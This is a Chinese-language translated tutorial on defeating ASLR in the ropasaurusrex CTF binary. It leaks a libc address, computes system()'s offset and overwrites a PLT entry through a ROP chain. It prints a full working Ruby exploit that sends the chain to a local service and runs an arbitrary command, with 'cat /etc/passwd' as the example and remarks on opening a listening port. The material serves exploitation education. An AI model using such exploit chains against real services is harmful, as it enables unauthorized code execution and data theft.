【技术分享】ropasaurusrex:ROP入门教程——ASLR

http://p4.qhimg.com/t01ce437d43f86d3d7c.jpg

翻译:Kr0net

稿费:100RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


传送门

【技术分享】ropasaurusrex:ROP入门教程——STACK 

【技术分享】ropasaurusrex:ROP入门教程——DEP(上)

【技术分享】ropasaurusrex:ROP入门教程——DEP(下)

什么是ASLR?

ASLR或者说地址空间布局随机化,是现代系统里一种通过随机加载函数库的地址的防卫措施(除了FreeBSD)。举个例子,我们运行两次ropasaursrex并且获得system()的地址:

http://p3.qhimg.com/t012aeeed7a5c22fb2d.png

可以发现,两次system()的地址不一样,从0xb766e450到0xb76a7450,这就是问题所在。


攻破ASLR

所以,现在我们知道的哪些什么知识可以来用呢?可执行文件本身并不具有随机化,所及我们可以依赖它里面的每一个地址用来定位,这是十分有用的。最重要的是重定位表会一直保留着相同的地址:

http://p1.qhimg.com/t010a2574e4d74ddaee.png

我们知道了read()和write()在可执行文件中的地址。这有什么用呢。让我们来看看当可执行文件跑起来时这些地址的值:

http://p1.qhimg.com/t0166aca9c54e60f134.png

仔细看看…我们知道了一个指向read()内存地址的指针!我们可以怎么做呢,想想…?我会给你一点提示:我们可以用write()函数从任意内存中抓取数据并且写入socket中。


最后,执行一些代码!

好的,休息一下,我们将这项工作分解成下面几个步骤,我们需要:

1.用read()函数复制一指令进入内存

2.获得write()的地址并且使用write()

3.计算write()和system()两者地址的偏移量,间接得到system()的地址

4.调用system()

要调用system(),我们需要在内存中的某处写入system()的地址,然后才能调用它。最简单的方式是重写read()的plt表,然后调用read()

但是现在,你可能很疑惑到底要怎么做,别急。我过去也是,并且我为我完成了这个任务感到震惊。:)

现在让我们全力以赴来完成它,下面是我们想要建立的栈:

http://p3.qhimg.com/t016e4bb85438fdb330.png

Holy smokes,这是怎么来的? 

我们从底部开始看看它是怎么运作的!为了方便区分,我为不同的栈帧做了标记。

Fram[1]我们之前已经见过了。它把命令写入可写的内存里面。

Fram[2]用”pppr”来清除栈(调整esp)。

Fram[3]用write()把read()的地址写入socket。

Fram[4]用”pppr”来清除栈(调整esp)。

Fram[5]socket读取另一个地址,并将其写入内存。这个地址将会是system()的地址。

http://p9.qhimg.com/t0145bcea3ae3f619fa.png

read()的调用实际上是一个间接的跳转!所以如果我们可以改变0x804961c中的值,然后跳转过去,那样我们就可以跳转到任何的地方!所以在Fram(3)中我们读取read()的实际地址,然后在Fram[5]在这个地方重写地址。

Fram[6]用”pppr”来清除栈(调整esp)。这里有一点不同,ret的返回地址是0x804832c,这个是read()在plt表中的地址。接下来我们将其重写为system()的地址,然后就会跳转到system。


最终的代码

Whew!(口哨声)。这样就完成了。下面的代码充分利用ropasurusrex成功绕过DEP和ASLR:

1. require 'socket'
2. 
3. s = TCPSocket.new("localhost", 4444)
4. 
5. # The command we'll run
6. cmd = ARGV[0] + ""
7. 
8. # From objdump -x
9. buf = 0x08049530
10. 
11. # From objdump -D ./ropasaurusrex | grep read
12. read_addr = 0x0804832C
13. # From objdump -D ./ropasaurusrex | grep write
14. write_addr = 0x0804830C
15. # From gdb, "x/x system"
16. system_addr = 0xb7ec2450
17. # Fram objdump, "pop/pop/pop/ret"
18. pppr_addr = 0x080484b6
19. 
20. # The location where read()'s .plt entry is
21. read_addr_ptr = 0x0804961c
22. 
23. # The difference between read() and system()
24. # Calculated as read (0xb7f48110) - system (0xb7ec2450)
25. # Note: This is the one number that needs to be calculated using the
26. # target version of libc rather than my own!
27. read_system_diff = 0x85cc0
28. 
29. # Generate the payload
30. payload = "A"*140 +
31. [
32. # system()'s stack frame
33. buf, # writable memory (cmd buf)
34. 0x44444444, # system()'s return address
35. 
36. # pop/pop/pop/ret's stack frame
37. # Note that this calls read_addr, which is overwritten by a pointer
38. # to system() in the previous stack frame
39. read_addr, # (this will become system())
40. 
41. # second read()'s stack frame
42. # This reads the address of system() from the socket and overwrites
43. # read()'s .plt entry with it, so calls to read() end up going to
44. # system()
45. 4, # length of an address
46. read_addr_ptr, # address of read()'s .plt entry
47. 0, # stdin
48. pppr_addr, # read()'s return address
49. 
50. # pop/pop/pop/ret's stack frame
51. read_addr,
52. 
53. # write()'s stack frame
54. # This frame gets the address of the read() function from the .plt
55. # entry and writes to to stdout
56. 4, # length of an address
57. read_addr_ptr, # address of read()'s .plt entry
58. 1, # stdout
59. pppr_addr, # retrurn address
60. 
61. # pop/pop/pop/ret's stack frame
62. write_addr,
63. 
64. # read()'s stack frame
65. # This reads the command we want to run from the socket and puts it
66. # in our writable "buf"
67. cmd.length, # number of bytes
68. buf, # writable memory (cmd buf)
69. 0, # stdin
70. pppr_addr, # read()'s return address
71. 
72. read_addr # Overwrite the original return
73. ].reverse.pack("I*") # Convert a series of 'ints' to a string
74. 
75. # Write the 'exploit' payload
76. s.write(payload)
77. 
78. # When our payload calls read() the first time, this is read
79. s.write(cmd)
80. 
81. # Get the result of the first read() call, which is the actual address of read
82. this_read_addr = s.read(4).unpack("I").first
83. 83 
84. 84 # Calculate the address of system()
85. 85 this_system_addr = this_read_addr - read_system_diff
86. 
87. # Write the address back, where it'll be read() into the correct place by
88. # the second read() call
89. s.write([this_system_addr].pack("I"))
90. 
91. # Finally, read the result of the actual command
92. puts(s.read())
93. 
94. # Clean up
95. s.close()

这里是运行结果:

http://p2.qhimg.com/t0169fdcf6e293da1e2.png

当然你想的话,我们可以改变cat/etc/passwd成任何东西(包括端口监听):

http://p9.qhimg.com/t017ae946208c7b38e7.png

(总结:这篇文章的翻译到此结束,文章从三个阶段:STACK,DEP,ASLR逐步递进详细地讲解了ROP的编写,译者对这篇文章的翻译希望能给刚刚入门PWN的朋友们带来帮助。虽然译者的PWN能力很弱,但是译者觉得在PWN的学习中,当然除了出题人带来的了巨大脑洞之外,每一次PWN的学习都可以带来狠多的乐趣,就像本文的作者把栈比喻成函数的天堂和地狱,每次PWN的利用无不是对函数世界的重构,虽然重构的过程艰难且繁杂,但每次重构后的世界都能给我们带来收获)


传送门


【技术分享】ropasaurusrex:ROP入门教程——STACK 

【技术分享】ropasaurusrex:ROP入门教程——DEP(上)

【技术分享】ropasaurusrex:ROP入门教程——DEP(下)


(完)